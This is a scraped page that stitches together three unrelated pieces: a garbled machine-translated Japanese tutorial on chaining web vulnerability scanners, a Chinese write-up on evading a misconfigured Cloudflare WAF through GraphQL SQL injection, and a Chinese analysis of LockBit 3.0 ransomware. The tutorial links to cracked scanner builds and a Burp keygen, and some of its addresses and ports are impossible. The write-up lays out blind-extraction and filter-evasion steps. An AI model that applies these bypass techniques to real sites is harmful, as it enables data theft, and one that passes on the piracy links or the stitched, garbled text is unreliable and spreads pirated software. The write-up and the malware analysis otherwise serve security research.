HireHackking

0x01使用 各ツールの導入後に、ツールのダウンロードアドレスとインストール方法が配置されます。必要に応じて、自分でダウンロードできます。 1.AWVSツール awvsはじめに： Acunetix Web脆弱性スキャナー（AWVS）は、Webアプリケーションのセキュリティのテストと管理に使用されるプラットフォームです。インターネットまたはローカルLANを脆弱性を自動的にスキャンし、脆弱性を報告できます。 HTTP/HTTPSルールがアクセスして続くWebサイトをスキャンできます。小規模および中規模および大規模企業向けの顧客、従業員、ベンダー、その他の担当者向けのイントラネット、外因性ネットワークおよびWebサイト。 AWSは、SQLインジェクション攻撃の脆弱性、XSSクロスサイトスクリプトの脆弱性などをチェックすることにより、Webアプリケーションのセキュリティをレビューできます。AWVS機能と機能：1）自動クライアントスクリプトアナライザー、AJAXおよびWeb2.0アプリケーションのセキュリティテストを可能に 2）業界で最も高度で詳細なSQLインジェクションとクロスサイトスクリプトテスト 3）HTPPエディターやHTTPファッツァなどの高度な浸透テストツール 4）Visual Macro Recorderは、Webフォームやパスワードで保護された領域を簡単にテストするのに役立ちます 5）Capthca、シングルスタート命令、2つの要因（2要素）検証メカニズムを含むサポートページ 6）Visa PCIコンプライアンスレポートを含む豊富なレポート機能 7）高速マルチスレッドスキャナーは、数千ページを簡単に取得できます 8）インテリジェントクローラーがWebサーバーのタイプとアプリケーション言語を検出する 9）Acunetixは、フラッシュコンテンツ、SOAP、AJAXなどのWebサイトを取得および分析します 10）ポートWebサーバーをスキャンし、サーバーで実行されているネットワークサービスでセキュリティチェックを実行します 11）Webサイトの脆弱性ファイルをエクスポートできます AWVSツールインストールチュートリアルアドレス：https://Blog.csdn.net/shandongjiushen/article/details/128377981 AWVSツールクラックバージョンダウンロードアドレス（Baidu NetDisk）リンク：https://Pan.Baidu.com/s/1KayuhishGujozphx41CQSQ抽出コード：QBE0 2。 AppScanツール appscanはじめに： AppScanは、セキュリティの専門家とテスター向けに特別に設計された動的なアプリケーションセキュリティテストツールです。これは、ユーザーがより安全なソフトウェアを開発するのに役立ち、開発ライフサイクルの後期段階で高価な脆弱性を効果的に回避できます。ソフトウェアには強力なスキャンエンジンが組み込まれており、ターゲットアプリケーションやテストの脆弱性を自動的にクロールできます。テスト結果は優先的に提示され、オペレーターは問題をより速く分類し、最も重要な脆弱性を最初に発見することができます。同時に、AppScanはユーザーに明確で実行可能な修理の提案を自動的に提供するため、発見された各問題をより簡単に改善できます。さらに、このソフトウェアには、テストWebアプリケーション、Webサービス、およびモバイルバックエンドをサポートする包括的なセキュリティテストスイートがあり、運用ベースの独自のテクノロジーと数万個の組み込みスキャンを使用して継続的にチェックします。 AppScan機能の紹介：1）アクティブおよびパッシブスキャンAppScanは、アクティブおよびパッシブスキャンテクノロジーをサポートします。アクティブなスキャンモードでは、攻撃者の動作をシミュレートし、悪意のあるリクエストと攻撃ペイロードを送信して、クロスサイトスクリプティング（XSS）、SQLインジェクション、クロスサイトリクエスト偽造（CSRF）などの既知のWeb脆弱性を発見します。 2）サポートWebアプリケーションとモバイルアプリケーションスキャンAppScanは、Webアプリケーションスキャンとモバイルアプリケーションのセキュリティ評価の両方に適しています。 Webアプリケーションの場合、AppScanはXSS、SQLインジェクション、機密情報漏れなどの一般的なWeb脆弱性を自動的に発見および評価できます。モバイルアプリケーションの場合、AppScanはアプリケーションのバイナリコードを分析し、アプリケーションの脆弱性とセキュリティ問題を発見できます。 3）浸透テストサポートAppScanは、浸透テストサポートを提供します。つまり、脆弱性スキャンツールであるだけでなく、テスト用の実際の攻撃をシミュレートできます。浸透テストは、複雑な脆弱性とビジネスロジックの問題のために、検出が困難である脆弱性を発見し、より詳細なテスト機能を備えていることを発見するのに役立ちます。 AppScanツールのインストールチュートリアルアドレス：https://Blog.csdn.net/qq_39720249/article/details/121248901 AppScanツールクラックバージョンダウンロードアドレス（Baidu NetDisk）：https://pan.baidu.com/s/1unazbfwyvevzuqpc1eqaba抽出コード：ime6 3。 Yakitツール yakitはじめに： Yakは、ネットワークセキュリティの基礎能力の統合に専念する世界で最初の垂直開発言語であり、非常に強力なセキュリティ機能を提供します。 Yakは、ほとんどの「データ説明言語/コンテナ言語」のスーパーセットです。すべてのGO機能とライブラリエコシステム、VSCODEプラグインなどがあります。構文はカスタマイズ可能です。それは完全に国内で、チューリング複雑なスクリプト言語です。ポートスキャン、フィンガープリント認識、POCフレームワーク、シェル管理、MITMハイジャック、強力なプラグインシステムなど、機能を通じてさまざまな基礎となるセキュリティ機能を提供します。Yakitは、YAK言語に基づいて開発されたサイバーセキュリティの個別ツールであり、浸透テストのプロセス全体をカバーするネットワークセキュリティツールライブラリを作成することを目的としています。 YAKの使用形式のため、ユーザーはYAK言語を学習し、同時にセキュリティを特定して理解する必要があります。 Yak独自のセキュリティ機能を容易に受け入れ、すべての人が使用するために、Yak用のGRPCサーバーを作成し、クライアントを構築しました。Yakitは、インターフェイスGUIを介してYakを使用するためのしきい値を下げます。 Yakit関数の簡単な紹介（関数が多すぎます）：Yakitは、Yak言語セキュリティ機能のための高度に統合された出力プラットフォームです。 Yakitを使用して、できます： 1）Burpsuiteに似たMITMハイジャック操作テーブル 2）すべてのハイジャックされたリクエストの履歴を表示し、リクエストのパラメーターを分析する 3）世界初の視覚的なWebファザーツール：Web Fuzzer 4）Yak Cloud IDE：組み込みのスマートプロンプトを備えたYak言語クラウドIDE 5）Shellreceiver：TCPサーバーをオンにして、リバウンドインタラクティブシェルアンチ接続を受信します 6）サードパーティYakモジュールストア：コミュニティ主導のサードパーティYakモジュールプラグイン、あなたが望むすべてを持っています 7。 Yakitツールのインストールチュートリアルアドレス：https://Blog.csdn.net/m0_60045654/article/details/134645164 Yakitツールダウンロードアドレス：https://yaklang.com/ 4。バープスイート バープスイートの紹介： Burp Suiteは、Webアプリケーションを攻撃するための統合プラットフォームです。 Burp Suiteは、Webアプリケーションを攻撃するための統合プラットフォームであり、多くのツールが含まれています。バープスイートは、これらのツールの多くのインターフェイスを設計して、アプリケーションを攻撃するプロセスを高速化します。すべてのツールはリクエストを共有し、対応するHTTPメッセージ、永続性、認証、プロキシ、ログ、およびアラートを処理できます。バープスイートツールの関数の紹介：1）ターゲット（ターゲット）——ターゲットディレクトリ構造の関数を表示します 2）プロキシ（プロキシ）—— HTTP/sプロキシサーバーをインターセプトし、ブラウザとターゲットアプリケーションの間の仲介者として機能し、両方向の元のデータフローを傍受、表示、変更できます。 3）Spider（Spider）——は、アプリケーションのコンテンツと機能を完全に列挙できるインテリジェントセンシングWeb Crawlerを使用します。 4）スキャナー（スキャナー）——高度なツールでは、実行後、Webアプリケーションのセキュリティの脆弱性を自動的に発見できます。 5）侵入者（侵入者）——カスタマイズされた高度に構成可能なツールは、列挙された識別子、有用なデータの収集、ファジングテクノロジーを使用して従来の脆弱性を検出するなどのWebアプリケーションを自動化します。 6）リピーター（リピーター）——手動操作に依存して個別のHTTP要求をトリガーし、アプリケーション応答を分析するツール。 7）シーケンサー（セッション）——は、予測不可能なアプリケーションセッショントークンと重要なデータ項目のランダム性を分析するために使用されるツールです。 8）デコーダー（デコーダー）——は、アプリケーションデータユーザーを手動で実行またはインテリジェントにデコードおよびエンコードするためのツールです。 9）比較（比較）——は、通常、いくつかの関連するリクエストと応答を通じて、2つのデータの視覚的な「違い」を取得します。 10）Extender（Extension）——を使用すると、Burp Suite Extensionsをロードし、独自のコードまたはサードパーティコードを使用してBurp Suiteの機能を拡張できます。 11）オプション（設定）——げっぷスイートのいくつかの設定 バープスイートツールのインストールチュートリアルアドレス：https://blog.csdn.net/m0_60045654/article/details/134645164 バープスイートツールJARクラックパッケージ：** https://link.zhihu.com/？ターゲット=https％3a //github.com/lzskyline/burploaderkeygen/raw/main/burploaderkeygen.jar バープスイートツールダウンロードアドレス：https://Link.zhihu.com/?target=https%3a//portswigger.net/burp/releases/ 5。 xray Xrayツールの紹介： Xrayは、変化する技術によって開始された強力なセキュリティ評価ツールです。これは、多くの経験豊富な最前線のセキュリティ実務家によって作成されています。アクティブおよびパッシブスキャン方法をサポートし、Windows、Linux、MacOSなどの複数のオペレーティングシステムをサポートし、ユーザー定義のPOCをサポートします。 ターゲットWebサイトの脆弱性をすばやく検出できます。従来のマニュアルの脆弱性スキャンと比較して、Xrayには次の利点があります。 1。高度な自動化、手動操作の時間とエネルギーを削減する。 2。複数の脆弱性タイプのスキャンをサポートします。 3。分散展開をサポートします。 4。Webインターフェイス管理をサポートします。 Xray関数の紹介：POCフレームワークには、デフォルトでGitHubにPOCが組み込まれているPOCが組み込まれており、ユーザーは必要に応じて自分で構築および実行することもできます。 現在サポートされている脆弱性検出タイプには: 1）XSS脆弱性検出（Key: XSS） 2）SQL注入検出（Key: SQLDET） 3）コマンド/コードインジェクション検出（key: cmd-injection） 4）ディレクトリの列挙（key:ディルカン） 5）パス交差検出（key:パストラバーサル） 6）XMLエンティティインジェクション検出（key: xxe） 7）ファイルアップロード検出（key:アップロード） 8）弱いパスワード検出（Key:ブルートフォース） 9）JSONP検出（key: jsonp） 10）SSRF検出（Key: SSRF） 11）ベースライン検査（Key:ベースライン） 12）任意のジャンプ検出（key:リダイレクト） 13）CRLF注入（Key: CRLF注入） 14）Struts2シリーズの脆弱性検出（Advanced Edition、Key: Struts） 15）ThinkPhpシリーズの脆弱性検出（Advancedバージョン、key: thinkphp） 16）XSTREAMシリーズの脆弱性検出（Key: XStream） 17）POCフレームワーク（key:パンタズム） Xray Toolインストールチュートリアルアドレス：https://Blog.csdn.net/weixin_52244272/article/details/132278409 Xray11ツールクラックバージョンダウンロードアドレス：https://pan.baidu.com/s/1n5lqesvxpk_cgbs7jmfkda?pwd=amlj抽出コード：AMLJ 0x02ツールリンケージ ターゲットWebサイトの脆弱性を自動的にスキャンするために、5つのツールをリンクします。 1。 AppScanツールリンケージの準備をセットアップします AppScanツールインターフェイスを開き、[新シュンWebサービス]を選択します。 選択- AppScanを自動的に選択します（ここで選択されたポートとアドレスは、AWVSエージェントが耳を傾けるアドレスとポートです） - ローカル - 他の接続設定を構成する必要があります - 次のステップ 選択- カスタムプロキシ設定を使用- アドレス：127.0.0.1-ポート：8083（ここに設定されたプロキシアドレスとポートセットはYakitのプロキシリスニングアドレスです） - ニキスト。 設定する必要はありません。次に行くだけです。 設定せずに、次のステップに移動して[完了]をクリックします。 外部のトラフィックレコーダーを入手し、ここを通過して表示するのを待ちます。 2。 Yakitツールリンケージの準備をセットアップします Yakit Tool を起動します 一時的なプロジェクトを開きます 侵入テストツールを選択します - MIMTインタラクティブハイジャック ここで、Yakitにはデフォルトでダウンロードされた15のスキャンプラグインしかないことをここでお知らせします。より包括的なパッシブスキャンの脆弱性を持ちたい場合は、プラグインストアにアクセスして、必要なプラグインをダウンロードできます。ワンクリックですべてのプラグインをダウンロードできますが、スキャンは非常に遅くなります。必要なもののいくつかをダウンロードしてください。 MIMTインタラクティブなハイジャックに戻り、ハイジャックエージェントのリスニングホストを設定します：127.0.0.1、リスニングポートをリスニングするハイジャックエージェント：8083、およびダウンストリームエージェントはhttp://127.0.0.0.13:8080（下流のアドレスはここに設定されています）。 [プラグインを有効にする]を選択し、左側にプラグインを設定してすべてを選択し、設定後に構成なしの起動を選択します（構成なしの起動を選択するのが最善です。 後でスキャンされた脆弱性は、ここに表示されます 3。 Buro Suite Toolのリンケージ準備 Burp Suiteツールを開き、[Temporary Project -Next]を選択します。 Burp Suiteのデフォルト値-Nextを使用します。 設定を選択します プロキシを設定すると、バインディングプロキシポートは8080、バインディングアドレスは次のとおりです。Loopbackのみ（ここに設定されたプロキシリスニングアドレスとポートセットは、Yakitが設定した下流のプロキシアドレスです）。 バープスイートの上流プロキシをセットアップすると、ターゲットホストは次のとおりです。 *（すべてのターゲットホストが許可されます）、プロキシホストは127.0.0.1、プロキシポートは7777です。 リアルタイムタスクを追加しました プロキシを通過するすべてのトラフィックを受動的にスキャンする 組み込みのスキャン動作を編集します。 スキャンタイプを設定し、すべてを選択し、火力をオンにし、[保存]をクリックします。 [OK]をクリックして、パッシブスキャンを設定します。 4。 Xrayツールリンケージの準備をセットアップします Xrayを使用してポート127.0.0.0.1:77777（ここで聴くポートは、Burp Suiteが設定したアップストリームプロキシです）、脆弱性を受動的にスキャンし、脆弱性を123.HTMLにします。 0x04リンケージスキャンのテストを開始 すべての準備が整っています。AWVSツールを最初のアクセススキャンターゲットトラフィックの開始点として使用します。 1。トラフィックを傍受 YakitとBurp Suiteのトラフィックを最初にハイジャックして、後でトラフィックの傾向を視聴します。 2。 AWVSスキャンターゲットを設定 AWVSスキャンターゲットを設定して、トラフィックにアクセスします。スキャンターゲット（このターゲットは承認されています）を追加し、[保存]をクリックします。

有研究人員在安全測試時，繞過了Cloudflare WAF 的SQLi 過濾器，這意味著Cloudflare 安裝沒有正確配置，但Cloudflare目前還不認為這是個漏洞。雖如此，安全人員在為其應用程序部署安全保護時需要注意有關問題。對於試圖繞過WAF 的人來說，發現的些許漏洞也可能會派上用場。攻擊者可以利用一種或多種技術（具體取決於最終應用程序）繞過某些WAF 並通過濫用SQLi 漏洞竊取數據。 測試時使用的Web應用程序詳細信息測試時使用的Web 應用程序的目的對於實際測試來說並不重要。除了在服務器上公開的/graphql 端點和運行查詢的PostgreSQL 服務之外，寫入查詢的堆棧也並不重要。 GraphQL 是一種查詢語言，它處理查詢，在測試中，在後端運行適當的SQL 查詢並返回請求的數據。之前由於測試人員從未使用或閱讀過有關GraphQL 的信息，因此遵循的是官方教程https://graphql.org/learn/，如果感興趣你也可以了解一下。 查詢的形成類似於JSON 對象。應用程序向/graphql 端點發送POST 請求。請求正文包含GraphQL 查詢，如下所示： X-MARK 中未過濾的參數從GraphQL 傳遞，並在PostgreSQL 存儲過程中被替換，從而允許我們注入在後端服務器上執行的SQL 查詢。 這幾乎是我們目前必須了解的關於應用程序的內容。在接下來的部分中，我將介紹我在測試SQL 注入應用程序時觀察的一些現象，這些觀察使我成功地利用了SQL注入，包括繞過Cloudflare SQLi過濾器。 觀察1第一個重要的觀察結果是服務器對有效的電子郵件輸入（即當SQL 查詢返回數據時）的響應與對無效的電子郵件輸入的響應不同。返回的HTTP 代碼始終為200，但響應正文不同： 這將返回“OK”： 這將返回'NOT OK'： 起初這可能看起來不太像，但它實際上是允許我驗證數據庫中特定數據是否存在的機制。它讓我想到了利用這種機制執行SQL盲注入攻擊並使用腳本自動化它的想法。該腳本構造一個有效負載，並將其與POST請求一起發送，POST請求反過來修改在後端服務器上運行的SQL查詢。 步驟如下： 我們有一組字符，稱為字母表。這組字符包括所有可能的字符，這些字符可以是我們試圖從數據庫中提取的數據的一部分。 假設資源是需要檢索的SQL 資源。它可以是數據庫名稱、用戶名、任何表格中的單元格值等。 將逐字符檢索資源。我們試圖檢索的字符稱為char。 我們遍歷字母表，並將每個字母與char 進行比較。 如果有匹配，我們記錄結果並移動到下一個字符。 最後，我們通過連接所有字符獲得了完整的資源。 觀察2第二個重要的觀察結果是，在執行的SQL查詢出現錯誤時，會顯示錯誤消息，這對我來說容易得多。這個錯誤信息不允許我執行一個基於錯誤的SQL注入，而是顯示了由PostgreSQL在SQL服務器上執行的完整SQL查詢。這一點為什麼如此重要，我們很快就會明白。 從錯誤消息中提取的SQL查詢看起來像這樣： 作為“email”變量提交的用戶輸入反映在X-MARK上。這就是為什麼擁有完整的SQL查詢對於開發過程很重要的兩個原因： 可以看到用戶輸入被括在括號中，這條信息使有效負載的生成過程變得更加容易，因為人們知道輸入必須包含與左括號匹配的右括號，以便結束SQL 查詢有效。 用戶輸入反映在查詢中的多個位置（第5、10、11 行），給我帶來麻煩的是第5 行。如果是X-MARK 僅反映在WHERE 子句中的情況，事情會更容易。但在這種情況下，我必須確保我的輸入不會弄亂表JOIN。這是必要的，以確保生成和查詢正確的表行，以便我可以獲得所需的數據。 注意：第8 行的$1 符號是SQL 準備查詢的位置參數，並由HTTP 請求的“名稱”變量參數替換。但它不容易受到SQL 注入的影響。 第一次嘗試我首先嘗試查找當前數據庫的名稱。在PostgreSQL 中執行此操作的SQL 查詢是： 有很多事情需要考慮，而且從一開始就很瘋狂，我必須從一開始就想出繞過Cloudflare 的方法。 WAF 繞過的第一種辦法首先，我必須首先將current_database() 的第一個字符與字符“a”進行比較。 PostgreSQL的方法是： Cloudflare會阻塞'substr'函數，所以訣竅是要么使用'left'，要么使用'right'函數。我使用'right'函數，因為'left'給了我一些麻煩，當我試圖找出我已經找到所有的數據庫名稱的字符。新的查詢（將“a”與最後一個資源的字符進行比較，如下所示： 並且未被WAF 檢測到。 注意：函數right(current_database(), N) 返回數據庫名稱最右邊的N 個字符。因此，當找到最後一個字符時，例如X，下一次調用該函數應該是： 由於我們已經知道我們必須關閉查詢中的左括號（來自觀察2），POST 請求的正文如下所示（此處僅顯示'email'變量）： 但是，記住後端SQL 查詢如何包含JOIN 子句（來自觀察2），我還在查詢中添加了一些額外的內容，以確保SQL 連接在後台正確執行。 POST 請求的正文如下所示： 服務器上的後續SQL 查詢如下所示： 這很複雜，但想法是一樣的：如果“a”是數據庫名稱的最右邊的字符，我們將從服務器獲得一個“OK”響應。 無論如何，在向服務器提交這個請求後，我看到了Cloudflare WAF(配置錯誤)的可怕頁面，告訴我我的請求被阻止了。 第二次嘗試在我再次嘗試之前，我必須了解Cloudflare 對我的查詢有什麼幫助。 經過反複測試，我發現問題出在生成的服務器SQL 查詢中的FROM 子句中的空格。這導致我進入第二個WAF 繞過。 WAF 繞過的第二種辦法此處使用的第二種WAF 繞過技術消除了SQL 查詢中的空格，並將SQL FROM 子句的部分括在括號中。 變成了 因此POST 請求的結果正文變為： 在服務器上的後續SQL查詢是這樣的： 這樣，整個過程就可以實現自動化了，以找到數據庫名稱的整個值。相同的過程還檢索了用戶名（通過使用user 函數）和數據庫版本（通過使用version() 函數）。但是存儲在數據庫表中的數據呢？檢索這些數據的通用查詢，以及我在上一篇文章中使用的繞過方法的查詢都不起作用。兩者都被阻止： 為什麼我的查詢被阻止了？問題是緊跟在SELECT 子句之後的FROM 子句。以下查詢將很好地通過（錯誤配置的）Cloudflare WAF SQLi 過濾器： 一旦在查詢結束時引入WHERE 子句，WAF 就會啟動並阻止請求。我的最終目標是從任何表中檢索數據。是時候深入挖掘兔子洞了。 第三次嘗試我在這裡給出SQLi 的早期失敗嘗試，只是因為我希望這篇文章向人們展示在滲透測試期間思維過程是如何展開的。 在我嘗試使事情複雜化（即脫離所有JOIN 和FROM 子句）時，我使用了一個簡單的分號和註釋技巧(;--)。計劃是首先檢索數據庫名稱，然後在此基礎上檢索表中的數據： 服務器上生成的SQL 查詢如下： 無論如何，這當然行不通，原因有兩個： 第5行之後的所有內容都會因為註釋而被忽略，這不一定是限制性的，但我寧願在FROM 子句中執行我的SQLi。 我收到以下錯誤：“綁定消息提供1 個參數，但準備好的語句需要0”。這是因為name 變量被傳遞給準備好的語句，但第8 行被忽略了，因此新的準備好的語句不需要該變量。 第四次嘗試我在這裡給出了從表中檢索數據的另一個早期嘗試，它使我更接近我的目標。在此之前我所知道的是，以下負載將被WAF 阻止： 注意：我添加了LIMIT 和OFFSET 關鍵字，以便從table1 中僅檢索一行。 LIMIT 表示我們只想要檢索一行，OFFSET 表示在開始檢索數據之前我們想要跳過多少行。在這種情況下，OFFSET 0 表示數據庫應該跳過0 行並返回table1 中的第一行。這對於逐一檢索表的所有行很有用。 WAF 繞過的第三種辦法回顧從數據庫服務器產生的錯誤中檢索到的SQL 查詢，我注意到可能不需要使用FROM 子句。 table1 表在使用AS 關鍵字的查詢中別名為t1，並且可以基於t1 引用它的任何列。這樣就可以這樣查詢table1 的column1 列： 這可以很好地通過（錯誤配置的）Cloudflare WAF，因此POST 請求正文中的有效負載可以這樣轉換： 服務器上的後續SQL 查詢如下所示： 這可以正常工作，但限制是只能提取table1（或table2）中的數據，因為這些是服務器SQL 查詢中唯一的別名表，繼續進行最後的成功嘗試。 最後一次嘗試好吧，如果我想從數據庫中檢索任何我想要的數據，我不得不放棄WAF 繞過的第三種方法。此時，似乎沒有辦法避免使用FROM子句。而且，在不被Cloudflare的WAF檢測到的情況下，似乎也沒有辦法成功地將FROM子句隱藏到有效載荷中。似乎我正在尋找的答案不在SQL查詢中。我不得不後退一步。 進入GraphQL我們已經看到發送的請求的正文是一個GraphQL 查詢，然後它被翻譯成一個SQL 查詢。所以我的下一個嘗試是改變GraphQL 查詢並設法隱藏其中的FROM 子句，這將有望轉換為在服務器上工作的SQL查詢。 如上所述，GraphQL 查詢的結構類似於JSON 對象。 JSON 中的數據以名稱/值對存儲在字典中，它們都是字符串。 GraphQL 查詢需要字符串鍵，但允許使用任意參數。這些規則適用於GraphQL： 數據用逗號分隔； 花括號容納對象； 方括號包含數組； 因此一個GraphQL查詢參數可以看起來像以下任何一種方式： 這讓我想到：如果我將對象的值作為數組而不是字符串傳遞，後端服務器上的SQL 查詢會發生什麼。簡而言之，我想打破SQL 注入查詢並將FROM 子句移動到不同的對像以欺騙Cloudflare。 進入 該請求繞過了WAF，我從數據庫中得到了一個錯誤，報錯是一個格式不正確的SQL查詢，並向我顯示了完整的SQL查詢結果。在註入點的查詢是這樣的： 注意SELECT column1 後面的逗號(,) 嗎？那是我繞過SQLi 過濾的憑證。將GraphQL 查詢參數的值作為數組傳遞會在後端SQL 服務器中轉換為字符串。字符串只是由逗號和空格字符分隔的數組項的串聯！此時，SQL查詢是錯誤的，但我可以註釋掉逗號，並獲得一個有效的、繞過waff的請求，該請求從我選擇的任何數據庫表中檢索我想要的任何數據。 這是最終POST 請求的正文： 以及在SQL 服務器上生成的有效SQL 查詢： 成功！ 為了簡化表檢索過程，我用Python編寫了一個腳本來自動化這個過程。腳本的偽代碼如下所示： 這就是我如何利用GraphQL 製作SQL 注入，繞過配置錯誤的Cloudflare WAF 實例，並能夠在後端檢索整個數據庫。正如我在開頭提到的，這種繞過技術的組合不適用於正確配置的Cloudflare WAF。 緩解措施緩解數據庫上SQL 注入的最安全方法是準備好的語句。

BlackMatter是一種勒索軟件變體，它使用Salsa20和1024位RSA加密文件，並需要大量加密貨幣進行解密。與許多其他勒索軟件組織一樣，BlackMatter通過洩露數據的威脅來增加獲得支付贖金的機會。 BlackMatter作為一種勒索軟件即服務(RaaS)運行。 2022年6月，LockBit發布了其勒索軟件3.0版。在這篇文章中，我們將詳細討論其攻擊過程，以及其與BlackMatter勒索軟件的相似之處。 2022年3月，也就是LockBit2.0首次出現不到一年後，研究人員發現了即將推出的LockBit勒索軟件新變種。 LockBit3.0，又名“LockBitBlack”，要到6月下旬才會發布，與此同時，該組織推出了新的漏洞洩露網站和漏洞獎勵計劃。此後，一位研究人員分享了LockBit3.0的樣本，以及他對新變體的初步分析。 detect it easy是一款跨平台的PE查殼工具，研究人員使用這個工具發現這個特定的LockBit3.0樣本是一個Win32.exe文件，其中包含多個部分，由未知的加殼器封裝（圖1）。根據樣本的原始來源，惡意軟件使用此參數執行： {04830965-76E6-6A9A-8EE1-6AF7499C1D08}.exe-kLocalServiceNetworkRestricted-passdb66023ab2abcb9957fb01ed50cdfa6aLockBit3.0示例隨後會刪除一個.ico文件，該文件的文件名與附加到%PROGRAMDATA%文件夾中加密文件的文件名相同（圖2）。 LockBit3.0的文件屬性 %PROGRAMDATA%文件夾中的.ico文件 作為其加密過程的一部分，LockBit3.0附加了擴展名HLJkNskOq（圖3），並將加密文件的圖標更改為上述.ico文件的圖標。 帶有新文件名和擴展名的加密文件，以及LockBit的勒索信 然後，勒索軟件釋放其勒索信，其中提到了“IlonMusk”和歐盟的通用數據保護條例(GDPR)。最後，它會更改受害者計算機的壁紙，以通知他們盡快繳納贖金。 LockBit3.0勒索信的內容 LockBit3.0的桌面壁紙 與BlackMatter勒索軟件的相似之處研究人員指出，LockBit 3.0的部分代碼似乎借鑒了BlackMatter勒索軟件，因此LockBit 3.0又被稱為LockBit Black。同樣地，我們在調試LockBit3.0示例期間發現了BlackMatter和新的LockBit變體之間存在相似之處。從我們對解壓樣本的檢查和研究員ChuongDong提供的分析中，我們發現LockBit3.0需要一個pass參數來解密其主程序。研究人員已經觀察到其他勒索軟件家族，如Egregor也表現出了相同的行為，其中需要參數才能繼續執行該程序。如果參數不可用，這會使二進製文件更難反轉。 使用-pass參數解密部分 LockBit 3.0通過哈希DLL的API名稱來執行API收集，然後將其與勒索軟件所需的API列表進行比較。這個程序與BlackMatter相同，因為重命名BlackMatter的API的外部可用腳本也適用於LockBit 3.0。 LockBit3.0的API收集程序 BlackMatter的API收集程序 LockBit3.0用於重命名API的XOR密鑰 BlackMatter用於重命名API的XOR密鑰 LockBit 3.0沒有直接調用收集到的API的地址，而是實現了一個蹦床指針，該指針指向一個已分配的堆，其中包含一個反彙編代碼，然後該代碼將跳轉到NtTerminateProcess API的API地址。堆中包含的代碼是從這組代碼中隨機選擇的： 隨機數ROR； 隨機數ROL； 異或密鑰； 通過隨機數ROR，然後異或到密鑰； ROL隨機數，然後異或到密鑰； LockBit3.0的蹦床指針代碼 LockBit3.0對NtTerminateProcessAPI的蹦床調用 LockBit3.0和BlackMatter也實現了相同的反調試技術：兩者都通過NtSetThreadInformationAPI將線程信息設置為ThreadHideFromDebugger(0x11)，以導致任何調試器在這個線程上設置斷點時崩潰。 通過NtSetThreatInformation的ThreadHideFromDebugger 與BlackMatter一樣，LockBit3.0在使用API時使用線程而不是直接調用API，這可能是為了讓研究人員更難分析。它使用的字符串使用簡單的按位XOR程序、按位XOR和NOT程序或涉及線性同餘生成器(LCG)算法以生成偽隨機密鑰的解密程序。除了添加了按位XOR和NOT程序，其他都類似於BlackMatter的操作方式。 LockBit3.0用於字符串解密的按位異或程序 LockBit3.0的按位XOR和NOT用於字符串解密 LockBit的3.0字符串解密使用LCG算法 LockBit3.0的配置使用相同的XOR程序和從LCG偽隨機數生成器獲得的密鑰進行解密，然後使用稱為APLib的壓縮庫進行解壓縮。 LockBit3.0的配置列表 LockBit3.0還會檢查受害計算機的UI語言，以避免用這些語言攻擊計算機： 阿拉伯語（敘利亞）； 亞美尼亞語（亞美尼亞）； 阿塞拜疆語（西里爾語阿塞拜疆）； 阿塞拜疆語（拉丁語阿塞拜疆）； 白俄羅斯語（白俄羅斯）； 格魯吉亞語（格魯吉亞）； 哈薩克語（哈薩克斯坦）； 吉爾吉斯（吉爾吉斯斯坦）； 羅馬尼亞語（摩爾多瓦）； 俄語（摩爾多瓦）； 俄語（俄羅斯）； 塔吉克語（西里爾塔吉克斯坦）； 土庫曼（土庫曼斯坦）； 韃靼語（俄羅斯）； 烏克蘭語（烏克蘭）； 烏茲別克語（西里爾文烏茲別克斯坦）； 烏茲別克語（拉丁烏茲別克斯坦）； LockBit3.0還保留了這些BlackMatter程序，以用於提權升級： 使用UACMe的方法繞過用戶帳戶控制(UAC)，這是在dllhost.exe下使用ICMLuaUtil COM接口； 複製Explorer.exe令牌以供自己使用； 執行32位或64位shellcode注入以提升其令牌。 LockBit3.0和BlackMatter都用作加密文件擴展名、勒索信名稱以及壁紙和圖標名稱的字符串是Base64編碼的哈希。然而，這兩種勒索軟件之間的一個關關鍵區別在於，LockBit3.0選擇使用嵌入在其配置中的RSA公鑰，並使用MD5對其進行哈希處理，而BlackMatter使用具有相同算法對API進行哈希處理的MachineGUID。這使得被同一樣本感染的所有計算機的字符串看起來都相似，這可能是LockBit的操作人員的一種嘗試，以便他們更容易識別加密文件所需的RSA私鑰對。 BlackMatter（左）和LockBit3.0（右）的字符串生成 與BlackMatter一樣，LockBit3.0也執行以下程序： 嘗試使用其配置列表中的憑據登錄，以確定受感染的系統是否是將用於以後程序的域管理員的一部分； 一個類似於BlackMatter的程序會終止並從其配置列表中刪除進程和服務； 擦除每個驅動器的回收站文件夾； 檢查計算機名哈希列表，以避免從其配置列表中刪除； 如果設置了標誌，則從其配置列表連接到CC服務器； 如果在其配置標誌中設置，則加密網絡共享和Exchange郵箱； 從其配置列表中獲取要避免使用的文件、文件夾和擴展名列表； 加密.lnk文件時使用指向文件； 在任何可用的打印機上打印勒索信並修改桌面壁紙； 使用與BlackMatter相同的加密算法； LockBit3.0對卷影副本的刪除顯然是從BlackMatter的代碼中刪除的，因為這是使用WindowsManagementInstrumentation(WMI)通過COM對象執行的，而不是LockBit2.0使用vssadmin.exe。 LockBit3.0通過WMI刪除卷影副本 這個最新的LockBit迭代只在提供特定參數時才會執行一些程序。 LockBit 3.0只接受表2中列出的參數，而BlackMatter只接受-safe、-wall和-path參數。 LockBit3.0接受的參數列表 新的LockBit變體使用哈希和基於代碼檢查參數，它被設計為只執行一個來自參數的例程，除了-pass，它需要在檢查其他參數之前執行。如果提供了-wall參數，則打印勒索信和更改受害計算機牆紙的程序也類似於BlackMatter的程序。像BlackMatter一樣，只要提供了-safe參數，LockBit3.0也可以在安全模式下重新啟動並通過RunOnce註冊表執行。 然而，它們的配置標誌之間有一個關鍵的區別：BlackMatter只有9個標誌，而LockBit3.0有24個，詳見表3。 可以在LockBit 3.0的配置中設置的標誌 第三個LockBit版本的一個值得注意的行為是它的文件刪除技術：它不使用cmd.exe執行將執行刪除的批處理文件或命令，而是刪除並執行從二進製文件中解密的.tmp文件。但是，只要提供了-gspd參數，它就會保留LockBit2.0的一些功能，例如早期版本通過組策略更新進行橫向移動的能力。 執行的.tmp文件會覆蓋勒索軟件二進製文件的內容，然後使用基於原始文件名長度的新文件名多次重命名該二進製文件，例如，一個名為1.exe的文件，它有五個字符（包括文件擴展名），被重命名為AAAAA，然後是BBBBB，直到ZZZZZ。重命名文件後，LockBit3.0最終將其刪除。該程序可能是LockBit勒索軟件組織試圖避免通過取證工具進行恢復，並通過完全刪除任何勒索軟件的痕跡來掩蓋他們的踪跡。 LockBit3.0多次重命名勒索軟件文件 LockBit3.0在反復重命名後刪除勒索軟件文件 